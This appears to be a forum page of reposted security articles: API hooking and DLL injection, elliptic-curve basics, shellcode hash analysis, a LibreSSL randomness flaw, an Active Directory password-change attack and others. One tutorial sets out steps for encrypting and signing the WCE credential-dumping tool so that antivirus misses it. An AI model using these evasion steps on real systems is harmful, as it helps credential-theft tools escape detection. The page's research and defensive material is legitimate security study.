Nytro

[h=1]MinHook - The Minimalistic x86/x64 API Hooking Library[/h]Tsuda Kageyu, 16 Jul 2014 Provides the basic part of Microsoft Detours functionality for both x64/x86 environments. Download Source (v1.2.2) - 48.9 KB Download Precompiled DLLs - 48.8 KB Download Precompiled Static Libraries - 10.4 MB Download Samples - 1.3 KB Release archive of my GitHub repository NuGet Package for the latest version (NuGet Gallery) [h=2]Background[/h] As you who are interested in Windows API hooking know, there is an excellent library for it by Microsoft Research named Detours. It's really useful, but its free edition (called 'Express') doesn't support the x64 environment. Though its commercial edition (called 'Professional') supports x64, it's too expensive for me to afford. It costs around US$10,000! So I decided to write my own library or "poorman's Detours" from scratch. But I haven't designed my library as the perfect clone of Detours. It has just the API hooking functionality because that's all I want. As of June 2014, this library is used in some projects: 7+ Taskbar Tweaker, NonVisual Desktop Access, QTTabBar, x360ce and more. I am happy finding that this project is helpful to people. Sursa: MinHook - The Minimalistic x86/x64 API Hooking Library - CodeProject

Si lumea compara Gnome-Shit, in special dracia aia de pe Ubuntu, cu KDE. Sa fim seriosi...

Povestea e putin stupida. Dar apar cateva idei misto... Si in sfarsit, la scena in care vrea sa mareasca rezolutia pozei, ii zice tipu ca nu poate. Bine, pacat ca baga niste porcarii legate de firewall, de kernel si alte bazaconii. Si nu am inteles de ce l-au numit "Algorithm". Oricum, in mare, e un documentaro-film cu o poveste SF inventata, insa filmul atrage atentia asupra unor probleme: nepasarea oamenilor, monitorizarea tuturor de catre autoritati, mici teorii ale conspiratiei... E ok, se poate vedea.

Am prezentat. Aplicatia nu e deloc stabila, daca era o postam. Va fi facuta open-source cand va fi gata. Am luat 10. Au vazut despre ce e vorba, le-am zis ca am folosit ASM, ca injectez DLL si pun jmp-uri si erau fericiti. O persoana tinea laboratorul de Assembler, iar un profesor cursul de C++. Deci nu le-a fost greu sa inteleaga.

Salut, E continuarea si versiunea completa a tutorialului de aici: https://rstforums.com/forum/73639-rst-tutorial-formatul-fisierelor-pe.rst De fapt e lucrarea mea de licenta, numita Malware Monitor, care e de fapt o versiune particulara a programului SSL Ripper pe care l-am prezentat la Defcamp. Lucrarea contine explicatii detaliate despre: - Formatul fisierelor PE - DLL Injection - API Hooking Cuprins 1. INTRODUCERE 3 1.1. Ce este Malware Monitor? 3 1.2. Solu?ii alternative 4 1.3. Cum func?ioneaz?? 7 1.4. Utilizarea într-un penetration test 9 1.5. Perspective 10 2. FORMATUL FI?IERELOR PE 11 2.1. Informa?ii generale 11 2.2. Structura general? a fi?ierelor PE 12 2.3. Antetul MS-DOS 14 2.4. Antetul PE 20 2.5. Tabelul de sec?iuni 31 2.6. Func?iile importate si func?iile exportate 36 3. INJECTAREA UNUI DLL 43 3.1. Introducere 43 3.2. Cum func?ioneaz?? 44 3.3. Func?iile API folosite 45 3.4. Rezumat 53 4. INTERCEPTAREA APELURILOR DE FUNC?II 55 4.1. Introducere 55 4.2. Cum func?ioneaz?? 56 4.3. Apelurile de func?ii 58 4.4. Interceptarea apelurilor 61 5. CONCLUZII 68 6. BIBLIOGRAFIE 69 Mentionez ca lucrarea nu este completa si sunt multe notiuni care ar putea fi dezvoltate, insa am scris-o in noapte de dinainte de predare si nu am avut timp sa scriu tot ce mi-am propus. Daca aveti intrebari legate de subiect, pe puteti posta aici. Download: https://rstforums.com/proiecte/Licenta.docx http://www.speedyshare.com/cqypT/Licenta.docx http://www.girlshare.ro/33775040.2 Sper sa fie utila.

Elliptic Curve Cryptography for Non-Algebraists Bitcoin has captured a lot of attention as the first viable Cryptocurrency. But just how does Bitcoin incorporate the cryptography into its design? At its core Bitcoin relies on two techniques: hash function and public-key cryptography. The selected hash function is Sha256, which offers a larger block size than the commonly used Sha1. The public-key scheme is not the popular RSA public-key algorithm, but the lesser known elliptic-curve cryptography (ECC). For a comprehensive comparison of ECC and RSA, you can go here. This post, however, intends to explain the concepts behind ECC with as little math as possible, and then relate the concepts back to the terms commonly used, but not at the cost of clarity. Without further ado, let’s begin. Number Experiment We start with a little number experiment. Say we pick a number 11. We can put all the positive numbers between 0 and 10 into a set, called S. S = {0, 1, 2, 3, …..10} We then randomly pick a number from this set, and create a sequence A, based on the following rules: A1= the selected number, 4 in this case. An = the reminder of (An-1 + A1) divided by 11 If the selected number is 4, then the sequence would be: 4, 8, 1, 5, 9, 2, 6, 10, 3, 7, 0, …. Two observations: Before 0 occurs in the sequence, every number in S appears exactly once including number 0. After 0, the sequence just repeats itself. Yes, this is just modular math. One way to visualize and carry out this experiment is to consider a clock set at 4 o’clock. If we continue adding 4 hours to the time, eventually we will visit every (hour) position. In this case, 12 o’clock translates to 0 o’clock. Without going into formal definitions, in our example, the set (S) and the operation (Add) form a group. This is actually quite important. To rephrase it, a group is defined on a set and an operation upon the set members. Furthermore, our example is a cyclic group. (By cyclic, recall how we can use number 4 to generate every number in S.) This experiment can be repeated with any prime number, say p. Consequently, this cyclic group is often denoted as Zp. Last, we give the number zero in this example (it may not always be the case) a special name, Identity, because the result of adding it to any number is equal to the number itself. The group concept (a set and an operation) is important. In the next step, we will find a group structure in an elliptic curve. Elliptic Curve An elliptic curve is a curve defined by polynomial in two variables. It has a general form: y2 = x3 + ax + b (1) where 4a3 + 27b2 ? 0 Based on the values of a and b, the curve may look differently. In all cases, the curve is symmetric about x-axis. (Source: wolfram.com) Remember, our goal here is to find a group structure. Again, to form a group, we need a set and an operation. Since we are talking about an elliptic curve, naturally we would like the set to include all the points on the curve. How do we define the operation? Let’s call this operation Add, denoted “+”. Operation Add needs to satisfy a condition: Suppose P and Q are two points from the set, P + Q is also a point from the set. Using a pseudo language, we may describe the idea as Where do we start looking for the R = P + Q given P and Q? By examining line PQ, we have the following observations: When P and Q form a non-vertical line, line PQ will intercept the curve at a third point. If P and Q are the same point, PQ is the tangent line. When P and Q form a vertical line, line PQ will not intercept the curve. However, we will treat the line PQ as if it intercepts the curve at an infinitely far point. In a sense, we have added a point at infinity to the curve. Now we are ready to define the operation Add: Given points P and Q, draw line PQ and compute the third point interception T, with coordinates (x, y). We define point R = P + Q, where R has the coordinates (-x, y). Geometrically, R = P + Q can be illustrated as Or algebraically, R can be derived from P and Q. With that, we have successfully defined the group of an elliptic curve, sometimes referred to as an elliptic curve group. Many articles will take a sharp turn here and start talking about field and subgroup, but our direction is different. So far, we have implicitly framed our discussion on real numbers and hence can easily draw elliptic polynomials as continuous curves. A continuous curve looks smooth, but it consists of infinite points. We would like to work on a finite set, therefore we turn our interest to integers. Let’s pick a number, p, and only focus on point (x, y), where x and y are integers and 0 < x, y < p. Furthermore, we will use modular math of p. Let’s use an example to see where we can get from here. Suppose we pick an elliptic curve And we pick a prime number, 17. How many point solutions exist? In this case, it isn’t too difficult to check every possible solution by enumerating x from 0 to 16. [TABLE=width: 640] [TR] [TD=width: 64]X[/TD] [TD=width: 64]0[/TD] [TD=width: 64]3[/TD] [TD=width: 64]5[/TD] [TD=width: 64]6[/TD] [TD=width: 64]7[/TD] [TD=width: 64]9[/TD] [TD=width: 64]10[/TD] [TD=width: 64]13[/TD] [TD=width: 64]16[/TD] [/TR] [TR] [TD=width: 64]y1[/TD] [TD=width: 64]6[/TD] [TD=width: 64]1[/TD] [TD=width: 64]16[/TD] [TD=width: 64]3[/TD] [TD=width: 64]6[/TD] [TD=width: 64]1[/TD] [TD=width: 64]11[/TD] [TD=width: 64]10[/TD] [TD=width: 64]13[/TD] [/TR] [TR] [TD=width: 64]y2[/TD] [TD=width: 64]11[/TD] [TD=width: 64]16[/TD] [TD=width: 64]1[/TD] [TD=width: 64]14[/TD] [TD=width: 64]11[/TD] [TD=width: 64]16[/TD] [TD=width: 64]6[/TD] [TD=width: 64]7[/TD] [TD=width: 64]4[/TD] [/TR] [/TABLE] We should not forget there is also a point at infinity (?, ?). While we can use brute force to find all solutions, there is a better way. That’s because the solution set is actually a cyclic group. In other words, we need only to find a starting point, P. Our strategy is to utilize the Add operation we defined earlier to generate the sequence until we reach the point at infinity, i.e., the Identity: P, P+P, P+P+P… Identity In a simpler manner, the sequence is P, 2P, 3P… Identity Carry it out and we get: (0, 6), (9, 1), (6, 3), (7, 6), (10, 11), (3, 1), (13, 10), (5, 16), (16, 13), (16, 4), (5, 1), (13, 7), (3, 16), (10, 6), (7, 11), (6, 14), (9, 16), (0, 11), ‘Identity’ There are 19 points. Supposing we start from point (5, 1), the sequence will be different but consists of the same points: (5, 1), (6, 3), (10, 6), (3, 1), (9, 16), (16, 13), (0, 6), (13, 7), (7, 6), (7, 11), (13, 10), (0, 11), (16, 4), (9, 1), (3, 16), (10, 11), (6, 14), (5, 16), ‘Identity’ To summarize what we just did: using a point that we repeatedly summed with itself, we developed an infinite sequence of all the solutions to the elliptic curve. Now we are ready to get into the idea of elliptic curve cryptosystems. Elliptic Curve Cryptosystem An Elliptic Curve Cryptosystem is based on the so-called ECDLP (elliptic curves discrete logarithm problem). Formally, ECDLP is defined in three steps: Let E be an elliptic curve de?ned over a ?nite ?eld Fp Let G =<B> be a cyclic subgroup of E(Fp). Let Q ? G, ECDLP is the problem of ?nding n ? Z such that Q = nB, where n < |G|. Let’s take these on one by one. Step 1: (1.a) Pick an elliptic curve, E. (1. Pick a prime number, p, and use modular arithmetic. This will restrict us to the integers ranging from 0 to p-1. Numbers {0..p-1} and operations, (modular) addition and division, combined are denoted as Fp. Let the term “Field” refer to a set of points with well-defined operations, addition and division, upon the points of that given set. Step 2: (2.a) Suppose point B is a solution of the curve E. Notice B’s coordinates are integers between 0 and p-1. (2. Using the equations of (2), (3) and (4), compute the sequence B, 2B, 3B… and eventually obtain the Identity. We denote the distinct elements generated from B as <B>. Also, let G = <B>. (2.c) <B> is generated from a single point B, hence it is described as cyclic. By subgroup, it means that set G is a subset of a bigger set (i.e., the elliptic curve). Step 3. (3.a) Pick a point Q from the set G. Recalling G=<B>, every point in G is a multiple of B. In other words, there exists an integer n, which is less than the selected prime P (or the size of G, |G|). (3. It turns out that given B and Q, it is difficult to find n, such that nB=Q. This difficulty is exactly why elliptic curves are used for cryptography. (3.c) You may wonder where the name “discrete logarithm” comes from. Discrete logarithm means solving for x of an equation ax = b, where a and b are known integers. Compare this equation with the equation nB=Q. We can see the similarity, but the former involves a raised power and the latter is simple addition. Recall the “addition” in the Elliptic Curve is purely our definition of an operation. For convenience, we denoted it as “Add,” but we can also denote it as “Multiple,” when the two operands are the same. In other words, <B> can be written instead as B, B2, B3, …. We have now completely defined the problem. In an upcoming post, we will explore how to build a non-symmetric encryption algorithm on top of the ECDLP. Sursa: Elliptic Curve Cryptography for Non-Algebraists |

[h=2]What is Viper?[/h] Viper is a binary analysis and management framework. Its fundamental objective is to provide a solution to easily organize your collection of malware and exploit samples as well as your collection of scripts you created or found over the time to facilitate your daily research. Think of it as a Metasploit for malware researchers: it provides a terminal interface that you can use to store, search and analyze arbitraty files with and a framework to easily create plugins of any sort. Viper is released under BSD 3-Clause license and is copyrighted by Claudio Guarnieri. The source code is available on GitHub, where also all development efforts and contributions are coordinated. For questions and inquiries, you can find the author’s contact details here. [h=2]Table of Content[/h] Installation Core dependencies Extra dependencies First launch [*]Usage Concepts Projects Sessions Commands & Modules [*]Commands projects open sessions close store find info notes tags delete [*]Create new modules First steps Arguments Accessing the session Accessing the database Printing results [h=3]Time to do malware research right.[/h] Download: https://github.com/botherder/viper/releases/ Sursa: Viper

Bypassing Antivirus with crypter and CFF Explorer Author: brav0hax Bypassing antivirus is always a cat and mouse game, and we’re always trying to stay ahead. I recently had a conversation with Justin Elze (@justinelze) on twitter about his version of WCE getting flagged by McAfee Antivirus. When I was working on smbexec I knew the wce executable would touch disk and did research to find out how I might be able to get a step ahead in bypassing antivirus vendors. What I found was, for the wce universal binary, the base EXE had resources inside which were run on the target system. Essentially the base EXE was a wrapper that would review the architecture of the target system (32/64) and then launch the proper resource embedded. Essentially what this means is that even though the base EXE is obfuscated and can bypass antivirus, you may not have the same luck bypassing antivirus with the actual resources when they execute. Enter CFF Explorer and crypter for bypassing antivirus. CFF Explorer The Explorer Suite was created by Daniel Pistelli, and “…is a freeware suite of tools including a PE editor called CFF Explorer and a process viewer. The PE editor has full support for PE32/64. Special fields description and modification (.NET supported), utilities, rebuilder, hex editor, import adder, signature scanner, signature manager, extension support, scripting, disassembler, dependency walker etc. First PE editor with support for .NET internal structures.” Essentially what we are able to do is view the PE, extract the resource files, encrypt those and place them back in the PE. The great thing is CFF explorer does all the heavy lifting. All we have is extract and save, below are the steps of the process. Extracting the Resource Files First step is to download the wce universal binary zip file from Amplia Security and extract the files. Additionally, please note the initial size of the wce.exe file. Start CFF explorer and click the Open button to browse to the wce file we will be working on. Once the file loads, in the left explorer pane, select “Resource Editor” and you will notice the middle pane shows resources in the “BINARY” folder. These are the items we are going to encrypt to in hopes of bypassing antivirus. Next you simply right-click each item listed and save to your local system by selecting the menu item Save Resource (RAW). NOTE: There are two files listed because one is 32bit and the other 64 bit. Encrypting the Resource Files Once you’ve saved of the resources, its now time to encrypt them for bypassing antivirus. There are several tools you can use, in this tutorial I want to highlight a really great (and free) tool called crypter, created by Christian Ammann of Null Security Its important to note that you may need an additional tool to obfuscate the 64-bit file. Now that we have the file encrypted, its time to put it back into the original wce file. We can do this in CFF explorer with the following steps. Updating the Executable Go back to your CFF Explorer and right-click the file you are looking to replace. Select Replace Resource (RAW) from the menu and select your encrypted resource file. Once the import has been completed, you need to save the file. You will now see that the file size has changed, confirming your new wce file is good to go for testing. Now that the resource files in the wce executable file are obfuscated, now you can obfuscate the wce.exe file itself if you’d like. Bypassing Antivirus – Other Tricks There are a few other tricks that we do that can also help in bypassing antivirus. I like to sign my binaries since a valid cert tends to add a lot of weight to the reputation of a file when reviewed. I sign both the resource files before I place them back in the binary, and then I sign the binary itself. For the past year I have been bypassing antivirus (all different kinds) with relative ease with my encrypted and signed version of wce. The awesome thing is that this is not only relevant to wce, it can come in handy across a load of different PE’s. Happy Hunting! Sursa: https://www.pentestgeek.com/2014/07/15/bypassing-antivirus-crypter-cff-explorer/

Shellcode analysis like a semi-PRO During Nicolas Brulez‘s training at REcon there was a challenge where the goal was to have function names instead of hashes into IDA in order to make shellcode analysis easier. This post describes the problem with more detail, possible solutions and the approach I took to solve the challenge. If you would like to know the PRO version then take Nicolas’s training next year. Introduction In a few words, in order to resolve API function addresses, shellcode uses to parse EAT from loaded modules and compare a given function name with a hash, this is sometimes used by malware as well for the purpose of being stealth. More information about this technique is available here. The problem is that on IDA Pro you will have an output like the below: seg000:00386C91 mov ecx, 0A1233BBCh seg000:00386C96 mov edx, [ebp+4] seg000:00386C99 call find_func_addr seg000:00386C9E call eax Since there are many calls to find_func_addr, static analysis without knowing the function name related to each hash is very time-consuming, it would be necessary to follow each call on the debugger and manually update IDA Pro. Possible solutions There are two ways to solve this problem: statically or dynamically. Each of them has its advantages and disadvantages. Dynamic The only advantage I can think of this approach is that you don’t need to reverse engineer the hash function in order to get every function name, the disadvantages are: (a) the code can take different paths and then you won’t be able to identify all the hashes; ( it’s not portable, the Immunity or Olly script needs to be changed for every other sample that use hashes. A similar example of using the dynamic approach can be found at the VRT blog. Static This is the approach I took, the advantages/disadvantages are the reserve of the dynamic one, I had to crack the hash algorithm (which was pretty simple) but at least the other parts can be easily portable for further samples. The static solution The solution is divided in three parts: (a) get the function names from EAT of a given DLL; ( calculate the hash for each function name; © import the data into IDA. Getting the function names I ended up using DLL Export Viewer, Nicolas used pefile, I totally forgot about pefile. For the purpose of this post, the code below is enough to illustrate: dll = "c:/windows/system32/kernel32.dll" pe = pefile.PE(dll) for func in pe.DIRECTORY_ENTRY_EXPORT.symbols: print func.name Calculate the hash This will change for every sample. On this example, the hash algorithm was very simple, it can get really complicated and then the dynamic approach would be better. There is a MUCH easier/clever way to calculate the hash, however, you will need to take Nicolas’s training to get to know it, his solution to this was a *facepalm* moment. Hash function: seg000:00386BE0 calc_hash proc near ; CODE XREF: find_func_addr+28p seg000:00386BE0 push eax seg000:00386BE1 xor eax, eax seg000:00386BE3 xor ecx, ecx seg000:00386BE5 seg000:00386BE5 loop_calc_hash: ; CODE XREF: calc_hash+13j seg000:00386BE5 lodsb seg000:00386BE6 test al, al seg000:00386BE8 jz short calc_hash_end seg000:00386BEA xor ecx, eax seg000:00386BEC rol ecx, 3 seg000:00386BEF inc ecx seg000:00386BF0 shl eax, 8 seg000:00386BF3 jmp short loop_calc_hash seg000:00386BF5 ; --------------------------------------------------------------------------- seg000:00386BF5 seg000:00386BF5 calc_hash_end: ; CODE XREF: calc_hash+8j seg000:00386BF5 pop eax seg000:00386BF6 retn seg000:00386BF6 calc_hash endp Relevant C code: #include <stdio.h>#include <inttypes.h> #include <string.h> __inline__ rol(uint32_t operand, uint8_t width) { __asm__ __volatile__ ("rol %%cl, %%eax" : "=a" (operand) : "a" (operand), "c" (width) ); } int main(int argc, char* argv[]) { unsigned int i = 0; int out = 0; int eax = 0; FILE *ptr_file; char buf[100]; ptr_file =fopen(argv[1],"r"); if (!ptr_file) { printf("Unable to read text file\n"); return 1; } while (fgets(buf,100, ptr_file)!=NULL) { for (i = 0; i < strlen(buf)-1; i++) { eax = eax | buf; out = out ^ eax; out = rol(out,3); out += 1; eax = eax << 8; } printf("0x%08x",out); printf(","); printf("%s",buf); eax = 0; out = 0; } fclose(ptr_file); return 0; } Import data into IDA Basically, the script below add Enums into IDA, later just press ‘M’ on every hash to get the function name. If the hash is not found, consider import other DLLs. I didn’t find any function in IDA to automatically “refresh” a hex value for an enum value, if this is available please let me know. IDAPython script: from idaapi import *from idc import * SANE_NAME_RE = re.compile("[@?$:`+&\[\]]", 0) def sanitize_name(name): return SANE_NAME_RE.sub("_", name) def main(): enum_name = AskStr("Kernel32_Functions_Hash","Enter Enum name:") id = idc.AddEnum(0, enum_name, idaapi.hexflag()) print 'Enum id %d' % (id) file_path = AskFile(0,"*.*","Open txt file") file = open(file_path,'r') addr = '' name = '' for line in file: addr,name = line.split(',') addr_hex = long(addr,16) name = sanitize_name(name).rstrip('\n') if __name__ == '__main__': main() After executing script and adding the Enum to the hash value: .data:00405159 mov ecx, KERNEL32_ExitProcess .data:0040515E mov edx, [ebp+4] .data:00405161 call get_func_addr .data:00405166 push 0 .data:00405168 call eax Conclusion As shown on another post, even without a clean IAT or loading a binary file like when dealing with shellcodes, it’s still possible to have a decent static analysis by mixing IDAPython with other tools. Sursa: Shellcode analysis like a semi-PRO | drimeldotorg

[h=1]How SSL works tutorial - with HTTPS example[/h] How SSL works by leadingcoder. This is a full tutorial how to setup SSL that requires client certificate for reference: http://www.windowsecurity.com/article... .

LibreSSL's PRNG is Unsafe on Linux [update: LibreSSL fork fix] The first version of LibreSSL portable, 2.0.0, was released a few days ago (followed soon after by 2.0.1). Despite the 2.0.x version numbers, these are only preview releases and shouldn't be used in production yet, but have been released to solicit testing and feedback. After testing and examining the codebase, my feedback is that the LibreSSL PRNG is not robust on Linux and is less safe than the OpenSSL PRNG that it replaced. Consider a test program, fork_rand. When linked with OpenSSL, two different calls to RAND_bytes return different data, as expected: $ cc -o fork_rand fork_rand.c -lcrypto $ ./fork_rand Grandparent (PID = 2735) random bytes = f05a5e107f5ec880adaeead26cfff164e778bab8e5a44bdf521e1445a5758595 Grandchild (PID = 2735) random bytes = 03688e9834f1c020765c8c5ed2e7a50cdd324648ca36652523d1d71ec06199de When the same program is linked with LibreSSL, two different calls to RAND_bytes return the same data, which is a catastrophic failure of the PRNG: $ cc -o fork_rand fork_rand.c libressl-2.0.1/crypto/.libs/libcrypto.a -lrt $ ./fork_rand Grandparent (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c Grandchild (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c The problem is that LibreSSL provides no way to safely use the PRNG after a fork. Forking and PRNGs are a thorny issue - since fork() creates a nearly-identical clone of the parent process, a PRNG will generate identical output in the parent and child processes unless it is reseeded. LibreSSL attempts to detect when a fork occurs by checking the PID (see line 122). If it differs from the last PID seen by the PRNG, it knows that a fork has occurred and automatically reseeds. This works most of the time. Unfortunately, PIDs are typically only 16 bits long and thus wrap around fairly often. And while a process can never have the same PID as its parent, a process can have the same PID as its grandparent. So a program that forks from a fork risks generating the same random data as the grandparent process. This is what happens in the fork_rand program, which repeatedly forks from a fork until it gets the same PID as the grandparent. OpenSSL faces the same issue. It too attempts to be fork-safe, by mixing the PID into the PRNG's output, which works as long as PIDs don't wrap around. The difference is that OpenSSL provides a way to explicitly reseed the PRNG by calling RAND_poll. LibreSSL, unfortunately, has turned RAND_poll into a no-op (lines 77-81). fork_rand calls RAND_poll after forking, as do all my OpenSSL-using programs in production, which is why fork_rand is safe under OpenSSL but not LibreSSL. You may think that fork_rand is a contrived example or that it's unlikely in practice for a process to end up with the same PID as its grandparent. You may be right, but for security-critical code this is not a strong enough guarantee. Attackers often find extremely creative ways to manufacture scenarios favorable for attacks, even when those scenarios are unlikely to occur under normal circumstances. Bad chroot interaction A separate but related problem is that LibreSSL provides no good way to use the PRNG from a process running inside a chroot jail. Under Linux, the PRNG is seeded by reading from /dev/urandom upon the first use of RAND_bytes. Unfortunately, /dev/urandom usually doesn't exist inside chroot jails. If LibreSSL fails to read entropy from /dev/urandom, it first tries to get random data using the deprecated sysctl syscall, and if that fails (which will start happening once sysctl is finally removed), it falls back to a truly scary-looking function (lines 306-517) that attempts to get entropy from sketchy sources such as the PID, time of day, memory addresses, and other properties of the running process. OpenSSL is safer for two reasons: If OpenSSL can't open /dev/urandom, RAND_bytes returns an error code. Of course the programmer has to check the return value, which many probably don't, but at least OpenSSL allows a competent programmer to use it securely, unlike LibreSSL which will silently return sketchy entropy to even the most meticulous programmer. OpenSSL allows you to explicitly seed the PRNG by calling RAND_poll, which you can do before entering the chroot jail, avoiding the need to open /dev/urandom once in the jail. Indeed, this is how titus ensures it can use the PRNG from inside its highly-isolated chroot jail. Unfortunately, as discussed above, LibreSSL has turned RAND_poll into a no-op. What should LibreSSL do? First, LibreSSL should raise an error if it can't get a good source of entropy. It can do better than OpenSSL by killing the process instead of returning an easily-ignored error code. In fact, there is already a disabled code path in LibreSSL (lines 154-156) that does this. It should be enabled. Second, LibreSSL should make RAND_poll reseed the PRNG as it does under OpenSSL. This will allow the programmer to guarantee safe and reliable operation after a fork and inside a chroot jail. This is especially important as LibreSSL aims to be a drop-in replacement for OpenSSL. Many properly-written programs have come to rely on OpenSSL's RAND_poll behavior for safe operation, and these programs will become less safe when linked with LibreSSL. Unfortunately, when I suggested the second change on Hacker News, a LibreSSL developer replied: The presence or need for a [RAND_poll] function should be considered a serious design flaw. I agree that in a perfect world, RAND_poll would not be necessary, and that its need is evidence of a design flaw. However, it is evidence of a design flaw not in the cryptographic library, but in the operating system. Unfortunately, Linux provides no reliable way to detect that a process has forked, and exposes entropy via a device file instead of a system call. LibreSSL has to work with what it's given, and on Linux that means RAND_poll is an unfortunate necessity. Workaround If the LibreSSL developers don't fix RAND_poll, and you want your code to work safely with both LibreSSL and OpenSSL, then I recommend putting the following code after you fork or before you chroot (i.e. anywhere you would currently need RAND_poll): unsigned char c; if (RAND_poll() != 1) { /* handle error */ } if (RAND_bytes(&c, 1) != 1) { /* handle error */ } In essence, always follow a call to RAND_poll with a request for one random byte. The RAND_bytes call will force LibreSSL to seed the PRNG if it's not already seeded, making it unnecessary to later open /dev/urandom from inside the chroot jail. It will also force LibreSSL to update the last seen PID, fixing the grandchild PID issue. (Edit: the LibreSSL PRNG periodically re-opens and re-reads /dev/urandom to mix in additional entropy, so unfortunately this won't avoid the need to open /dev/urandom from inside the chroot jail. However, as long as you have a good initial source of entropy, mixing in the sketchy entropy later isn't terrible.) I really hope it doesn't come to this. Programming with OpenSSL already requires dodging numerous traps and pitfalls, often by deploying obscure workarounds. The LibreSSL developers, through their well-intended effort to eliminate the pitfall of forgetting to call RAND_poll, have actually created a whole new pitfall with its own obscure workaround. Update (2014-07-16 03:33 UTC): LibreSSL releases fix for fork issue LibreSSL has released a fix for the fork issue! (Still no word on the chroot/sketchy entropy issue.) Their fix is to use pthread_atfork to register a callback that reseeds the PRNG when fork() is called. Thankfully, they've made this work without requiring the program to link with -lpthread. I have mixed feelings about this solution, which was discussed in a sub-thread on Hacker News. The fix is a huge step in the right direction but is not perfect - a program that invokes the clone syscall directly will bypass the atfork handlers (Hacker News commenter colmmacc suggests some legitimate reasons a program might do this). I still wish that LibreSSL would, in addition to implementing this solution, just expose an explicit way for the programmer to reseed the PRNG when unusual circumstances require it. This is particularly important since OpenSSL provides this facility and LibreSSL is meant to be a drop-in OpenSSL replacement. Finally, though I was critical in this blog post, I really appreciate the work the LibreSSL devs are doing, especially their willingness to solicit feedback from the community and act on it. (I also appreciate their willingness to make LibreSSL work on Linux, which, despite being a Linux user, I will readily admit is lacking in several ways that make a CSPRNG implementation difficult.) Ultimately their work will lead to better security for everyone. Sursa: https://www.agwa.name/blog/post/libressls_prng_is_unsafe_on_linux

Active Directory Flaw Lets Attackers Change Passwords Aorato finds way to compromise Active Directory and change passwords without being noticed by SIEM.Researchers have discovered a way for attackers to access and change the password of a user's Active Directory account, without being detected log-based security tools like SIEM. The researchers, from AD security firm Aorato, say this is a severe flaw partly because of the ubiquity of Active Directory and partly because it allows attackers to do something that they may not be able to do even with physical access to a user's machine. As lead researcher Tal B'ery explains, if someone goes to get coffee, walks away from his or her desk, and forgets to lock his or her screen, a ne'er-do-well can sneak by, get physical access to the machine, and do basically anything that the logged-in user can do ... except change the password, if that person doesn't know the current one. That's why this new attack Aorato describes is significant, according to B'ery. Obviously, if the compromised account is one that's used often, someone will notice the password has been changed as soon as the individual tries and fails to log in. However, B'ery points out that if this is done on a weekend, an attacker may evade notice for 48 hours. Plus, attackers could go after a dormant account to stay under the radar longer. As Aorato explains in its report, the attacker first uses a publicly available free penetration testing tool (like WCE or Mimikatz) to steal the NTLM hash from user devices -- an authentication component that resides by default on devices that connect to enterprise resources. NTLM is known to be a bit of a security hazard itself, and therefore, lots of organizations log NTLM activity. So, as Aorata describes it in the report: 2. The attacker forces the client to authenticate to Active Directory using a weaker encryption protocol. At this stage, the attacker uses the Active Directory flaw where the encryption protocol relies on the NTLM hash. This activity is not logged in system and 3rd party logs -- even those that specifically log NTLM activity. As a result, no alerts, or forensic data, ever indicate that an attack takes place. 3. The attacker proves its so-called legitimate identity to Active Directory using the weaker authentication protocol. According to B'ery, when Aorato responsibly disclosed this, Microsoft said they do consider it not a vulnerability, but a part of Active Directory's design. B'ery says, "We argue that it doesn't matter. A flaw is a flaw is a flaw." Sursa: Active Directory Flaw Lets Attackers Change Passwords

Floppy Bird Floppy Bird is a clone of the infamous Flappy Bird written in 16 bit (x86) assembly. In other words it works on RAW METAL and doesn't require an Operating System. Getting Started If you just want to try it out there's no need to install the development tools because you can use one of the provided 'disk images'. However, if you really want to 'compile' it yourself then you'll need to install the following tools: NASM QEMU GIMP To build it just type in any terminal: make make iso Versions build/floppybird.img - Image for Floppy / USB Drives build/floppybird.iso - for CD-ROM Drives (with Floppy Emulation) Virtual Machines QEMU and VirtualBox have been tested and fully supported. qemu-system-i386 -boot a -fda build/floppybird.img WARNING I am not responsible for any direct or indirect data loss after performing any of the destructive operations presented below. BE SURE TO BACKUP THE CONTENTS OF YOUR FLOPPY/USB DRIVE. Linux/Mac (in other words *unix) You can use the dd utility or your favorite CD Burner like Brasero. dd if=build/floppybird.img of=/dev/sdb In the example above, /dev/sdb is your USB Drive. Windows You can use the Raw Write 32 utility or your favorite CD Burner like CDBurnerXP. Contribute Fork the project. Make your feature addition or bug fix. Do not bump the version number. Send me a pull request. Bonus points for topic branches. License Copyright © 2014, Mihail Szabolcs Floppy Bird is provided as-is under the MIT license. For more information see LICENSE. Sursa: https://github.com/icebreaker/floppybird

Wireless Live CD Alternative: ZeusGard I’ve long recommended that small business owners and others concerned about malware-driven bank account takeovers consider adopting a “Live CD” solution, which is a free and relatively easy way of temporarily converting your Windows PC into a Linux operating system. The trouble with many of these Live CD solutions is that they require a CD player (something many laptops no longer have) — but more importantly – they don’t play well with wireless access. Today’s post looks at an alternative that addresses both of these issues. Zeusgard, with wireless adapter, on a Macbook Air. As I noted in my 2012 column, “Banking on a Live CD,” the beauty of the “Live CD” approach is that it allows you to safely bank online from any machine — even from a system that is already riddled with malware. That’s because it lets you boot your existing PC into an entirely different (read: non-Windows) operating system. [Not sure why you should consider banking online from a non-Windows PC? Check out this series]. The device I’ll be looking at today is not free, nor is the the tiny dongle that enables its ability to be used on a wireless network. Nor is it an actual CD or anything more than a stripped-down Web browser. But it is one of the safest, most easy-to-use solutions I’ve seen yet. The device, called ZeusGard, is a small, silver USB flash drive that boots into a usable browser within about 30 seconds after starting the machine. The non-writeable drive boots directly into the browser (on top of Debian Linux), and if your system is hard-wired to your router with an Ethernet connection, you should be good to go. Nearly all Live CD solution have one glaring weakness: They typically are not usable over a wireless connection. The Live CD solution I most frequently recommend — which is based on a version of Puppy Linux — technically can work with wireless networks, but I found that setting it up is not at all intuitive, especially for people who’ve never used anything but Windows before. My review copy of ZeusGard came with a tiny USB wireless Wi-Fi adapter, which makes jumping on a wireless network a complete breeze. When you boot up with both ZeusGard and the adapter plugged in, ZeusGard automatically searches for available wireless networks, and asks you to choose yours from a list of those in range. Assuming access to your wireless network is secured with WPA/WPA2 (hopefully not the weaker WEP) , click the “properties” box next to your network, and enter your network’s encryption key (if you need to see the key in plain text while you’re typing, tick the box next to “key”). Hit “OK” and then the “Connect” button. Once you’re connected, click the down arrow at the top of the dialog box and select “Exit to Browser Session.” This is the second generation of ZeusGard, and I’m looking forward to seeing the next iteration of the device. ZeusGard is produced by Bancsec, a consulting firm that advises financial institutions on ways to beef up security (think ). Bancsec CEO J.B. Snyder 